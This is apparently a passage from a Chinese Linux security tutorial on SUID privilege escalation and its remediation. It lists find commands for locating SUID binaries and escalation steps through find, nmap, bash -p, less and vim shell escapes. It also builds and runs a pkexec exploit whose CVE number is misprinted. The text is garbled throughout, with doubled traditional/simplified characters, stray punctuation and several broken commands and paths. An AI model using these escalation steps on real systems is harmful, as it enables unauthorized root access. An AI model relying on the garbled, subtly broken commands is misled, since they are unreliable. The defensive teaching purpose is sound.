通常Linux系統(tǒng)文件及目錄最常見的三種權限為:可讀權限(r),可寫權限(w)和可執(zhí)行權限(x),。有時我們會發(fā)現(xiàn)有些文件或者目錄的所屬主的權限會帶s標識,。當s這個標志出現(xiàn)在文件所有者的x權限上時,,如/usr/bin/passwd文件的權限狀態(tài):“-rwsr-xr-x.”,此時就被稱為Set UID,,簡稱為SUID權限,。此時,如果該文件的屬主權限為root,,并能夠執(zhí)行命令操作,,攻擊者便可以root身份進行操作Linux系統(tǒng)。常見導致SUID提權的可執(zhí)行程序包含:Nmap,、vim,、find、bash,、more,、less、nano,、pkexec等,,當查詢這些可執(zhí)行程序具有SUID權限時,可進一步排查是否存在權限提升安全問題,,并對存在安全的程序進行修復和加固,。 接下來,本節(jié)將利用find命令,,查詢Linux系統(tǒng)中具有SUID權限的文件 find / -perm -u=s -type f 2>/dev/null find / -perm -g=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null find / -user root -perm -4000 -exec ls -l db {};
/ 表示從文件系統(tǒng)的頂部(根)開始并找到每個目錄 -perm 表示搜索隨后的權限 -u=s 表示查找root用戶擁有的文件 -type表示我們正在尋找的文件類型 f 表示常規(guī)文件,,而不是目錄或特殊文件 2 表示該進程的第二個文件描述符,即stderr(標準錯誤) > 表示重定向 /dev/null 是一個特殊的文件系統(tǒng)對象,,它將丟棄寫入其中的所有內(nèi)容,。 通過指令查詢,可以看到find和pkexec具有SUID權限,,接下來測試find和pkexec可行性程序是否能夠提權成功,,通過find指令進行操作使普通用戶變成了root權限執(zhí)行系統(tǒng)指令: /usr/bin/find -name 123.ico -exec whoami \; polkit的 pkexec (pkexec ≤ 0.120版本時)存在特權提升的安全問題。該漏洞允許任何非特權用戶通過在Linux默認配置中利用此漏洞獲得root權限,。執(zhí)行過程如圖3-1-20所示,,通過exp文件進行操作使普通用戶變成了root權限執(zhí)行系統(tǒng)指令。 make ./cve-202104034 下面列舉了一些其他的軟件導致suid提權的方式: (1)nmap nmap --interactive #啟動交互模式 (2)bash bash -p bash-3.2# id (3)more/less less /etc/passwd !/bin/sh (4)vim vim.tiny /etc/shadow # Press ESC key:set shell=/bin/sh #回車:shell 對于存在suid權限的可執(zhí)行程序中,,如果導致權限提升安全威脅,,可通過修改可執(zhí)行程序權限的方式或更新軟件進行打補丁的方式修復suid權限文件導致的安全問題,可以修改suid可執(zhí)行文件權限的修復過程,。 chmod u-s /usr/bin/find find / -perm -u=s -type f 2>/dev/null touch test /uer/bin/find -name test -exec whoami \;
|
|